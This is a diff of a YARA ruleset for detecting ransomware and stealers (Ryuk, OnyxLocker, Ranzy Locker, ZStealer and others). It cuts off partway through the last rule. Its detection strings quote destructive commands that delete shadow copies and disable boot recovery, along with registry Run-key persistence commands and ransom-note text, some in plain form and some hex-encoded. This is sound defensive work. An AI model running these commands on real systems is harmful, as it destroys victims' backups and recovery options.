-		$x1 = "C:\\Windows\\system32\\cmd.exe" fullword wide
-		$s1 = "and a Proof of Payment together will be ignored. We will drop the backup after 24 hours. You are welcome! " fullword ascii
-		$s2 = "Your File and DataBase is downloaded and backed up on our secured servers. To recover your lost data : Send 0.1 BTC to our BitCoin" ascii
-		$s3 = "No valid port number in connect to host string (%s)" fullword ascii
-		$s4 = "SOCKS4%s: connecting to HTTP proxy %s port %d" fullword ascii
-		$s5 = "# https://curl.haxx.se/docs/http-cookies.html" fullword ascii
-		$s6 = "Connection closure while negotiating auth (HTTP 1.0?)" fullword ascii
-		$s7 = "detail may be available in the Windows System event log." fullword ascii
-		$s8 = "Found bundle for host %s: %p [%s]" fullword ascii
-		$s9 = "No valid port number in proxy string (%s)" fullword ascii
-		$op0 = { 50 8d 85 78 f6 ff ff 50 ff b5 70 f6 ff ff ff 15 }
-		$op1 = { 83 fb 01 75 45 83 7e 14 08 72 34 8b 0e 66 8b 45 }
-		$op2 = { c7 41 0c df ff ff ff c7 41 10 }
+		$c1 = "\" /TR \"C:\\Windows\\System32\\cmd.exe /c for /l %x in (1,1,50) do start wordpad.exe /p " fullword ascii
+		$c2 = "cmd.exe /c \"bootstatuspolicy ignoreallfailures\"" fullword ascii
+		$c3 = "C:\\Windows\\System32\\cmd.exe" fullword ascii
+		$c4 = "cmd.exe /c \"WMIC.exe shadowcopy delete\"" fullword ascii
+		$c5 = "cmd.exe /c \"vssadmin.exe Delete Shadows /all /quiet\"" fullword ascii
+		$c6 = "cmd.exe /c \"bcdedit /set {default} recoveryenabled No & bcdedit /set {default}\"" fullword ascii
+		$r1 = "/C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"" fullword wide
+		$r2 = "/C REG DELETE \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /f" fullword wide
+		$ref1 = "lsaas.exe" fullword wide
+		$ref2 = "Ncsrss.exe" fullword wide
+		$ref3 = "$WGetCurrentProcess" fullword ascii
+		$ref4 = "lan.exe" fullword wide
+		$ref5 = "explorer.exe" fullword wide
+		$ref6 = "Ws2_32.dll" fullword ascii
+		$p1 = "\\users\\Public\\sys" fullword wide
+		$p2 = "\\Documents and Settings\\Default User\\sys" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and (1 of ($x*) and 4 of them ) and all of ($op*)) or ( all of them )
+		uint16(0)==0x5a4d and filesize >40KB and 4 of ($c*) and 1 of ($r*) and 4 of ($ref*) and 1 of ($p*)
 }
-rule TRELLIX_ARC_RANSOM_Makop : RANSOMWARE FILE
+rule ARKBIRD_SOLG_Ran_Ruyk_Oct_2020_2 : FILE
 {
 	meta:
-		description = "Rule to detect the unpacked Makop ransomware samples"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "2828f2f9-4702-5cef-8b4e-7e98146c0332"
-		date = "2020-07-19"
-		modified = "2020-08-14"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_makop.yar#L1-L32"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "008e4c327875110b96deef1dd8ef65cefa201fef60ca1cbb9ab51b5304e66fe1"
-		logic_hash = "2b4f8b90d46530421b66dbb04df6e84d268709fbee884536d8acc91e1b85f8a4"
+		description = "Detect RYUK ransomware (Sept_2020_V1 + V2)"
+		author = "Arkbird_SOLG"
+		id = "82ed6736-00e6-5a30-89cf-a2b86f2e1ba6"
+		date = "2020-10-25"
+		modified = "2020-10-28"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-27/RYUK/Ran_Ruyk_Oct2020_2.yar#L1-L29"
+		license_url = "N/A"
+		logic_hash = "a06d61b9363b732d17a2766b280951198a6adc226e284ab1d909cd98516cfb6f"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Makop"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 46
+		tags = "FILE"
+		hash1 = "d0d7a8f588693b7cc967fb4069419125625eb7454ba553c0416f35fc95307cbe"
+		hash2 = "d7333223dcc1002aae04e25e31d8c297efa791a2c1e609d67ac6d9af338efbe8"
+		hash3 = "bbbf38de4f40754f235441a8e6a4c8bdb9365dab7f5cfcdac77dbb4d6236360b"
+		hash4 = "cfe1678a7f2b949966d9a020faafb46662584f8a6ac4b72583a21fa858f2a2e8"
+		hash5 = "e8a0e80dfc520bf7e76c33a90ed6d286e8729e9defe6bb7da2f38bc2db33f399"
+		hash6 = "5b1f242aee0eabd4dffea0fe5f08aba60abf7c8d1e4f7fc7357af7f20ccd0204"
 
 	strings:
-		$pattern_0 = { 50 8d7c2420 e8???????? 84c0 0f84a6020000 8b742460 ba???????? }
-		$pattern_1 = { 51 52 53 ffd5 85c0 746d 8b4c240c }
-		$pattern_2 = { 7521 68000000f0 6a18 6a00 6a00 56 ff15???????? }
-		$pattern_3 = { 83c40c 8d4e0c 51 66c7060802 66c746041066 c6460820 }
-		$pattern_4 = { 51 ffd3 50 ffd7 8b4628 85c0 }
-		$pattern_5 = { 85c9 741e 8b4508 8b4d0c 8a11 }
-		$pattern_6 = { 83c002 6685c9 75f5 2bc6 d1f8 66390c46 8d3446 }
-		$pattern_7 = { 895a2c 8b7f04 85ff 0f85f7feffff 55 6a00 }
-		$pattern_8 = { 8b3d???????? 6a01 6a00 ffd7 50 ff15???????? }
-		$pattern_9 = { 85c0 7407 50 ff15???????? }
+		$s1 = "Type Descriptor'" fullword ascii
+		$s2 = "Class Hierarchy Descriptor'" fullword ascii
+		$s3 = "GET:PV" fullword ascii
+		$s4 = "Base Class Descriptor at (" fullword ascii
+		$s5 = "Complete Object Locator'" fullword ascii
+		$s6 = "UINi\\cYIqwxAcV^GYCY^EgzUvSZcsRW" fullword ascii
+		$s7 = "FrystFsgcteIaui" fullword ascii
+		$s8 = "delete[]" fullword ascii
+		$s9 = "Picuovphv Bbsg!Es|rwojrarkkd Stryjfes x4.3" fullword ascii
+		$s10 = "FrystGfuvrozHctj" fullword ascii
+		$s11 = "FrystUfngasfCqovf{v" fullword ascii
+		$op1 = { 63 62 6d 75 6a 7a 6e 49 4d 54 50 78 75 70 78 59 6f 65 71 4f 57 48 4a 78 57 71 4c 50 55 78 4a 6e 68 4b 71 57 57 6d 49 75 6a 51 64 4f 50 74 70 63 76 61 42 72 75 5a 6a 4d 69 79 59 52 69 58 78 4a 63 6b 51 70 4b 75 47 52 5a 51 42 5a 5a 61 50 69 76 66 77 43 6c 45 5a 67 76 6e 49 6c 54 74 4b 46 4d 68 53 4a 42 4f 64 6a 69 46 44 4d 62 70 78 76 52 5a 69 61 74 69 71 5a 6e 75 67 5a 62 78 72 51 }
+		$op2 = { 23 71 59 72 51 6d 58 48 4a 77 65 55 53 76 68 79 4f 62 51 50 6d 44 44 52 44 6e 72 49 53 57 6c 72 56 4a 56 75 68 52 4e 4a 66 6b 50 6e 6b 72 65 68 73 6e 6b 68 54 4e 70 6a 56 7a 7a 64 61 44 6e 62 44 67 5a 54 62 4b 65 63 54 69 35 4f 71 20 64 24 2d }
 
 	condition:
-		7 of them and filesize <237568
+		uint16(0)==0x5a4d and filesize >40KB and 6 of ($s*) and 1 of ($op*)
 }
-rule TRELLIX_ARC_Locdoor_Ransomware : RANSOMWARE FILE
+rule ARKBIRD_SOLG_Ran_Onyxlocker_Nov_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect Locdoor/DryCry"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "d855d7fd-a1e3-561e-906e-103752285b0f"
-		date = "2018-09-02"
-		modified = "2020-08-14"
-		reference = "https://twitter.com/leotpsc/status/1036180615744376832"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_locdoor.yar#L1-L32"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "0000c55f7cdbbad9bacba0e79637696f3bfeb95a5f71dfa0b398bc77a207eb41"
-		logic_hash = "c9519279a929feedae2bab58cd0de91f6c447827fa59afa927726fde84d21e1c"
+		description = "Detect OnyxLocker ransomware"
+		author = "Arkbird_SOLG"
+		id = "bb7d914c-a074-5d79-a5d2-43c5a0adf49e"
+		date = "2020-11-18"
+		modified = "2020-11-18"
+		reference = "https://twitter.com/Kangxiaopao/status/1328614320016560128"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-18/OnyxLocker/Ran_OnyxLocker_Nov_2020_1.yar#L1-L27"
+		license_url = "N/A"
+		logic_hash = "1ccca1040acee5bb937fd5ebb3536f8c644d3586229d01457d780bef5fcb57a1"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Locdoor"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 71
+		tags = "FILE"
+		hash1 = "7e3c97d3d274b5f7fedad6e392e6576ac3e5724ddd7e48c58a654b6b95eb40d7"
 
 	strings:
-		$s1 = "copy \"Locdoor.exe\" \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\temp00000000.exe\"" fullword ascii
-		$s2 = "copy wscript.vbs C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\wscript.vbs" fullword ascii
-		$s3 = "!! Your computer's important files have been encrypted! Your computer's important files have been encrypted!" fullword ascii
-		$s4 = "echo CreateObject(\"SAPI.SpVoice\").Speak \"Your computer's important files have been encrypted! " fullword ascii
-		$s5 = "! Your computer's important files have been encrypted! " fullword ascii
-		$s7 = "This program is not supported on your operating system." fullword ascii
-		$s8 = "echo Your computer's files have been encrypted to Locdoor Ransomware! To make a recovery go to localbitcoins.com and create a wa" ascii
-		$s9 = "Please enter the password." fullword ascii
+		$s1 = "IEncryptionProvider" fullword ascii
+		$s2 = "OnyxLocker.exe" fullword wide
+		$s3 = "GetEncryptionThreads" fullword ascii
+		$s4 = "CreateEncryptionKey" fullword ascii
+		$s5 = ".NETFramework,Version=v4.5.2" fullword ascii
+		$s6 = "get_TargetFiles" fullword ascii
+		$s7 = "IsTargetFile" fullword ascii
+		$s8 = "<TargetFiles>k__BackingField" fullword ascii
+		$s9 = "XxteaEncryptionProvider" fullword ascii
+		$s10 = "GetStartingFolders" fullword ascii
+		$s11 = "<EncryptionKey>k__BackingField" fullword ascii
+		$s12 = "RECOVERY INSTRUCTIONS" fullword wide
+		$s13 = "$182eaa96-fcb2-458b-85cb-a9b8da57ae71" fullword ascii
+		$s14 = ".NET Framework 4.5.2" fullword ascii
+		$s15 = "TraverseDirectories" fullword ascii
+		$s16 = "{0} {1}" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <600KB) and all of them
+		uint16(0)==0x5a4d and filesize >8KB and 8 of them
 }
-rule TRELLIX_ARC_Screenlocker_Acroware : RANSOMWARE FILE
+rule ARKBIRD_SOLG_Ran_Ranzy_Locker_Nov_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect the ScreenLocker Acroware"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "76eb69eb-dfe7-5629-bf2d-d20574efd662"
-		date = "2018-08-28"
-		modified = "2020-08-14"
-		reference = "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_acroware.yar#L1-L29"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "f9efcfc5328e6502cbbbff752a940ac221e437d8732052fc265618f6a6ad72ae"
-		logic_hash = "582f3544cf1f8066b1e9ac04c3a4cc9f0ba96804ca53bc3746b433df9c33e0a1"
+		description = " Detect Ranzy Locker (RAAS)"
+		author = "Arkbird_SOLG"
+		id = "7e81d73a-ef18-5f89-b6b3-f56212d30b4a"
+		date = "2020-11-19"
+		modified = "2020-11-19"
+		reference = "https://labs.sentinelone.com/ranzy-ransomware-better-encryption-among-new-features-of-thunderx-derivative/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-19/Ranzy_Locker/Ran_Ranzy_Locker_Nov_2020_1.yar#L1-L36"
+		license_url = "N/A"
+		logic_hash = "e27017fa196d14b88c5cb682a070d10e42b63f9e21189d9917c0ae03c47216cc"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Acroware"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "393fd0768b24cd76ca653af3eba9bff93c6740a2669b30cf59f8a064c46437a2"
+		hash2 = "90691a36d1556ba7a77d0216f730d6cd9a9063e71626489094313c0afe85a939"
+		hash3 = "ade5d0fe2679fb8af652e14c40e099e0c1aaea950c25165cebb1550e33579a79"
+		hash4 = "bbf122cce1176b041648c4e772b230ec49ed11396270f54ad2c5956113caf7b7"
+		hash5 = "c4f72b292750e9332b1f1b9761d5aefc07301bc15edf31adeaf2e608000ec1c9"
 
 	strings:
-		$s1 = "C:\\Users\\patri\\Documents\\Visual Studio 2015\\Projects\\Advanced Ransi\\Advanced Ransi\\obj\\Debug\\Advanced Ransi.pdb" fullword ascii
-		$s2 = "All your Personal Data got encrypted and the decryption key is stored on a hidden" fullword ascii
-		$s3 = "alphaoil@mail2tor.com any try of removing this Ransomware will result in an instantly " fullword ascii
-		$s4 = "HKEY_CURRENT_USER\\SoftwareE\\Microsoft\\Windows\\CurrentVersion\\Run" fullword wide
-		$s5 = "webserver, after 72 hours thedecryption key will get removed and your personal" fullword ascii
+		$s1 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550" ascii
+		$s2 = "776D69632E65786520534841444F57434F5059202F6E6F696E746572616374697665" ascii
+		$s3 = "76737361646D696E2E6578652044656C65746520536861646F7773202F416C6C202F5175696574" ascii
+		$s4 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550202D64656C6574654F6C64657374" ascii
+		$s5 = "534F4654574152455C4D6963726F736F66745C45524944" ascii
+		$s6 = "626364656469742E657865202F736574207B64656661756C747D20626F6F74737461747573706F6C6963792069676E6F7265616C6C6661696C75726573"
+		$s7 = "7B5549447D" ascii
+		$s8 = "7B5041545445524E5F49447D" ascii
+		$s9 = "726561646D652E747874" ascii
+		$s10 = "226E6574776F726B223A22" ascii
+		$s11 = "226C616E67223A22" ascii
+		$s12 = "7B4558547D" ascii
+		$s13 = "476C6F62616C5C33353335354641352D303745392D343238422D423541352D314338384341423242343838"
+		$s14 = "433A5C50726F6772616D2046696C65735C4D6963726F736F66742053514C20536572766572" ascii
+		$s15 = "433A5C50726F6772616D2046696C65732028783836295C4D6963726F736F66742053514C20536572766572" ascii
+		$s16 = "227375626964223A22" ascii
+		$s17 = "22657874223A22" ascii
+		$s18 = "226B6579223A22" ascii
+		$seq1 = { 8b 46 50 8d 4d a4 83 7d d4 10 53 8b 1d 14 80 41 00 89 45 a4 8d 45 c0 0f 43 45 c0 51 50 6a 00 6a 01 6a 00 ff 35 e8 1c 42 00 ff d3 85 c0 0f 84 b9 00 00 00 8b 46 68 8d 4d a4 83 7d ec 10 57 89 45 a4 8d 45 d8 0f 43 45 d8 33 ff 51 50 6a 00 47 57 6a 00 ff 35 e8 1c 42 00 ff d3 85 c0 0f 84 8a 00 00 00 c6 45 fc 02 33 db 8b 45 e8 8b 4d d0 03 c1 6a 0f 5a 89 5d b8 89 55 bc 88 5d a8 89 7d a4 3b c2 76 15 88 5d a0 8d 4d a8 ff 75 a0 50 e8 78 02 00 00 8b 4d d0 89 5d b8 83 7d d4 10 8d 45 c0 51 0f 43 45 c0 8d 4d a8 50 e8 ca de ff ff 83 7d ec 10 8d 45 d8 ff 75 e8 0f 43 45 d8 8d 4d a8 50 e8 b3 de ff ff 8d 45 a8 50 8d 4e 70 e8 b8 d8 ff ff 8d 4d a8 e8 3f bf ff ff 8d 4d d8 e8 37 bf ff ff 8d 4d c0 e8 2f bf ff ff b0 01 eb 12 8d 4d d8 e8 23 bf ff ff 8d 4d c0 e8 1b bf ff ff 32 c0 e8 3f f1 }
+		$seq2 = { 8b 75 08 33 ff 8b 55 0c 33 c0 89 b5 68 fb ff ff 89 bd ac fb ff ff c7 85 b0 fb ff ff 07 00 00 00 66 89 85 9c fb ff ff 89 7d fc 39 7a 10 0f 84 da 00 00 00 6a 02 0f 57 c0 8d 8d 84 fb ff ff 58 66 0f 13 85 bc fb ff ff 66 89 85 b4 fb ff ff e8 6e ac ff ff 83 78 14 10 72 02 8b 00 50 ff 15 18 82 41 00 8d 8d 84 fb ff ff 89 85 b8 fb ff ff e8 8f a8 ff ff 68 87 69 00 00 ff 15 0c 82 41 00 bb 01 04 00 00 66 89 85 b6 fb ff ff 53 8d 85 c4 fb ff ff 57 50 e8 fd 2d 00 00 83 c4 0c 8d 7d cc 33 c0 6a 08 59 6a 08 6a 20 f3 ab 8d 45 cc 50 53 8d 85 c4 fb ff ff 50 6a 10 8d 85 b4 fb ff ff 50 ff 15 1c 82 41 00 85 c0 75 45 8d 85 c4 fb ff ff 50 8d 8d 6c fb ff ff e8 7f a8 ff ff 8b d0 c6 45 fc 01 8d 8d 84 fb ff ff e8 26 ab ff ff 50 8d 8d 9c fb ff ff e8 88 bf ff ff 8d 8d 84 fb ff ff e8 c8 c2 ff ff 8d 8d 6c fb ff ff e8 f5 a7 ff ff 8d 85 9c fb }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB) and all of them
+		uint16(0)==0x5a4d and filesize >80KB and 10 of ($s*) and 1 of ($seq*)
 }
-rule TRELLIX_ARC_Pico_Ransomware : RANSOMWARE FILE
+rule ARKBIRD_SOLG_MAL_Zstealer_Nov_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Pico Ransomware"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "843cac7a-652e-5cbf-a09d-fb4b1eaa8481"
-		date = "2018-08-30"
-		modified = "2020-08-14"
-		reference = "https://twitter.com/siri_urz/status/1035138577934557184"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Pico.yar#L1-L37"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "cc4a9e410d38a29d0b6c19e79223b270e3a1c326b79c03bec73840b37778bc06"
-		logic_hash = "bb15e66504f393bcb4b173cb2a4ec65aa13110060f7fb70282330b5f6d72f5ed"
+		description = "Detect ZStealer stealer used by Void Balaur group"
+		author = "Arkbird_SOLG"
+		id = "0282884b-569a-5e46-a6ad-d2776ff71ddb"
+		date = "2021-11-11"
+		modified = "2021-11-12"
+		reference = "https://documents.trendmicro.com/assets/white_papers/wp-void-balaur-tracking-a-cybermercenarys-activities.pdf"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-11/Void_Balaur/MAL_ZStealer_Nov_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "c3bec4fb8338ad71577e63f81c22b5d250083f2475f60610de8dccd4979035d3"
 		score = 75
-		quality = 20
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Pico"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "af89d85a3b579ac754850bd6e52e7516c2e63141107001463486cd01bc175052"
+		hash2 = "5a2c9060f6cc1e6e0fd09b2b194631d2c7e7f024d9e2d3a9be64570e263f565f"
+		tlp = "white"
+		adversary = "Void Balaur"
 
 	strings:
-		$s1 = "C:\\Users\\rikfe\\Desktop\\Ransomware\\ThanatosSource\\Release\\Ransomware.pdb" fullword ascii
-		$s2 = "\\Downloads\\README.txt" fullword ascii
-		$s3 = "\\Music\\README.txt" fullword ascii
-		$s4 = "\\Videos\\README.txt" fullword ascii
-		$s5 = "\\Pictures\\README.txt" fullword ascii
-		$s6 = "\\Desktop\\README.txt" fullword ascii
-		$s7 = "\\Documents\\README.txt" fullword ascii
-		$s8 = "/c taskkill /im " fullword ascii
-		$s9 = "\\AppData\\Roaming\\" fullword ascii
-		$s10 = "gMozilla/5.0 (Windows NT 6.1) Thanatos/1.1" fullword wide
-		$s11 = "AppData\\Roaming" fullword ascii
-		$s12 = "\\Downloads" fullword ascii
-		$s13 = "operator co_await" fullword ascii
+		$s1 = { 53 33 c0 55 68 71 d3 46 00 64 ff 30 64 89 20 a1 80 7f 7b 00 8b 10 ff 52 44 a1 84 7f 7b 00 8b 10 ff 52 44 8d 45 fc 50 68 80 d3 46 00 68 02 00 00 80 e8 e3 a3 f9 ff 85 c0 0f 85 94 01 00 00 8d 45 f8 ba 00 10 00 00 e8 86 83 f9 ff c7 45 f0 00 10 00 00 33 db e9 49 01 00 00 8d 45 f4 50 6a 00 8d 45 f8 e8 36 82 f9 ff 8d 55 e8 e8 e6 cd f9 ff 8b 4d e8 8d 45 ec ba bc d3 46 00 e8 12 80 f9 ff 8b 55 ec b9 fc d3 46 00 b8 02 00 00 80 e8 d4 d8 ff ff 84 c0 0f 84 01 01 00 00 8d 55 e4 8b 45 f4 e8 c5 c0 f9 ff 8b 55 e4 8d 45 f4 e8 6e 7d f9 ff 8b 55 f4 b8 14 d4 46 00 e8 cd 82 f9 ff 85 c0 7e 32 8d 45 e0 50 8b 55 f4 b8 14 d4 46 00 e8 b8 82 f9 ff 8b c8 83 c1 03 ba 01 00 00 00 8b 45 f4 e8 c2 81 f9 ff 8b 55 e0 a1 80 7f 7b 00 8b 08 ff 51 38 eb 0d 8b 55 f4 a1 80 7f 7b 00 8b 08 ff 51 38 8d 45 f4 50 6a 00 8d 45 f8 e8 90 81 f9 ff 8d 55 d8 e8 40 cd f9 ff 8b 4d d8 8d 45 dc ba bc d3 46 00 e8 6c 7f f9 ff 8b 55 dc b9 24 d4 46 00 b8 02 00 00 80 e8 2e d8 ff ff 84 c0 74 42 8d 45 f8 }
+		$s2 = { 8b d9 88 55 fb 89 45 fc 33 c0 55 68 b3 2e 46 00 64 ff 30 64 89 20 33 d2 8b 45 fc e8 a0 11 fa ff b2 01 a1 2c 74 41 00 e8 94 11 fa ff 8b 55 fc 89 42 0c 8b 45 fc c6 40 08 00 33 c0 89 45 f4 33 d2 55 68 96 2e 46 00 64 ff 32 64 89 22 8d 45 f0 89 5d ec 8b 55 ec e8 9e 21 fa ff 8b 45 fc 83 c0 04 50 8b 45 f0 e8 b7 25 fa ff 50 e8 2d f5 ff ff 83 c4 08 85 c0 74 66 8b 45 fc 8b 40 04 85 c0 74 39 50 e8 26 f5 ff ff 59 89 45 f4 89 5d dc c6 45 e0 0b 8b 45 f4 89 45 e4 c6 45 e8 06 8d 45 dc 50 6a 01 b9 e4 2e 46 00 b2 01 a1 58 2c 46 00 e8 be a1 fa ff e8 9d 19 fa ff eb 23 89 5d d4 c6 45 d8 0b 8d 45 d4 50 6a 00 b9 10 2f 46 00 b2 01 a1 58 2c 46 00 e8 99 a1 fa ff e8 78 19 fa ff 33 c0 5a 59 59 64 89 10 68 9d 2e 46 00 83 7d f4 00 74 0a 8b 45 f4 50 e8 c4 f4 ff ff }
+		$s3 = { 68 1d c7 45 00 64 ff 30 64 89 20 8b c3 e8 d8 89 fa ff 8d 45 fc ba 00 01 00 00 e8 17 90 fa ff c7 45 f8 ff 00 00 00 8d 45 f8 50 8d 45 fc e8 d0 8e fa ff 50 e8 f6 af fa ff c7 45 f4 ff 00 00 00 c7 45 f0 ff 00 00 00 8d 45 ec 50 8d 45 f0 50 8d 85 ec fd ff ff 50 8d 45 f4 50 8d 85 ec fe ff ff 50 8d 45 fc e8 9a 8e fa ff 50 6a 00 e8 d6 af fa ff 85 c0 0f 84 6d 01 00 00 8d 85 ec fe ff ff 50 e8 ba af fa ff 85 c0 0f 84 59 01 00 00 8d 85 ec fe ff ff 50 e8 7e af fa ff 8b f0 8d 85 ec fe ff ff 50 e8 80 af fa ff 0f b6 38 8b c3 ba 34 c7 45 00 e8 89 89 fa ff 80 3e 00 75 }
+		$s4 = { a1 9c c2 49 00 8b 00 e8 e3 82 01 00 8b 93 88 01 00 00 8b 08 ff 51 54 8b f8 85 ff 7c 15 a1 9c c2 49 00 8b 00 e8 c6 82 01 00 8b d7 8b 08 ff 51 18 8b f0 6a 01 56 e8 e1 f2 fc ff 8b c3 e8 be 17 00 00 8a 93 84 01 00 00 e8 2f 61 00 00 33 c0 5a 59 59 }
+		$s5 = { 45 72 72 6f 72 20 5b 25 64 5d 3a 20 25 73 2e 0d 22 25 73 22 3a 20 25 73 00 00 ff ff ff ff 0a 00 00 00 4e 6f 20 6d 65 73 73 61 67 65 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <700KB) and all of them
+		uint16(0)==0x5a4d and filesize >300KB and all of them
 }
-rule TRELLIX_ARC_Installer_Coronavirus : RANSOMWARE FILE
+rule ARKBIRD_SOLG_APK_Droidwatcher_Nov_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect the Corona Virus Installer"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "2a224529-bfc7-57ed-91c3-426cae4b7895"
-		date = "2020-03-25"
-		modified = "2020-08-14"
-		reference = "https://twitter.com/malwrhunterteam/status/1238056503493505024"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_coronavirus.yar#L1-L41"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "5987a6e42c3412086b7c9067dc25f1aaa659b2b123581899e9df92cb7907a3ed"
-		logic_hash = "26be8bbfbf615967cc2a0e2d4179cd5f444c53f170a681d2ec236244881dc629"
-		score = 75
-		quality = 62
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/CoronaVirus"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		description = "Detect modified DroidWatcher stealer used by Void Balaur group"
+		author = "Arkbird_SOLG"
+		id = "04e02521-d89a-5f72-8b6f-0350f6defdd0"
+		date = "2021-11-11"
+		modified = "2021-11-12"
+		reference = "https://documents.trendmicro.com/assets/white_papers/wp-void-balaur-tracking-a-cybermercenarys-activities.pdf"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-11/Void_Balaur/APK_DroidWatcher_Nov_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "c16bcdd5d9cd6a3cbb527893e13ac967211d1686edd9f7ae03e37feada725a1b"
+		score = 50
+		quality = 75
+		tags = "FILE"
+		hash1 = "902c5f46ac101b6f30032d4c5c86ecec115add3605fb0d66057130b6e11c57e6"
+		tlp = "white"
+		level = "Experimental"
+		adversary = "Void Balaur"
 
 	strings:
-		$s1 = { 61 63 68 65 6C 6C 69 65 73 40 68 6F 74 6D 61 69 6C 2E 63 6F 6D }
-		$s2 = { 74 6F 6A 65 6E 2E 6D 65 40 67 6D 61 69 6C 2E 63 6F 6D }
-		$s4 = { 77 61 6E 67 63 68 79 7A 40 67 6D 61 69 6C 2E 63 6F 6D }
-		$s5 = { 54 00 6F 00 64 00 6F 00 73 00 20 00 6C 00 6F 00 73 00 20 00 74 00 69 00 70 00 6F 00 73 00 20 00 64 00 65 00 20 00 69 00 6D 00 61 00 67 00 65 00 6E 00 7C 00 2A 00 2E 00 62 00 6D 00 70 00 3B 00 2A 00 2E 00 63 00 75 00 72 00 3B 00 2A 00 2E 00 64 00 69 00 62 00 3B 00 2A 00 2E 00 65 00 6D 00 66 00 3B 00 2A 00 2E 00 69 00 63 00 6F 00 3B 00 2A 00 2E 00 77 00 6D 00 66 00 7C 00 4D 00 61 00 70 00 61 00 73 00 20 00 64 00 65 00 20 00 62 00 69 00 74 00 73 00 20 00 28 00 2A 00 2E 00 62 00 6D 00 70 00 3B 00 2A 00 2E 00 64 00 69 00 62 00 29 00 7C 00 2A 00 2E 00 62 00 6D 00 70 00 3B 00 2A 00 2E 00 64 00 69 00 62 00 7C 00 49 00 63 00 6F 00 6E 00 6F 00 73 00 2F 00 63 00 75 00 72 00 73 00 6F 00 72 00 65 00 73 00 20 00 28 00 2A 00 2E 00 69 00 63 00 6F 00 3B 00 2A 00 2E 00 63 00 75 00 72 00 29 00 7C 00 2A 00 2E 00 69 00 63 00 6F 00 3B 00 2A 00 2E 00 63 00 75 00 72 00 7C 00 4D 00 65 00 74 00 61 00 61 00 72 00 63 00 68 00 69 00 76 00 6F 00 73 00 20 00 28 00 2A 00 2E 00 77 00 6D 00 66 00 3B 00 2A 00 2E 00 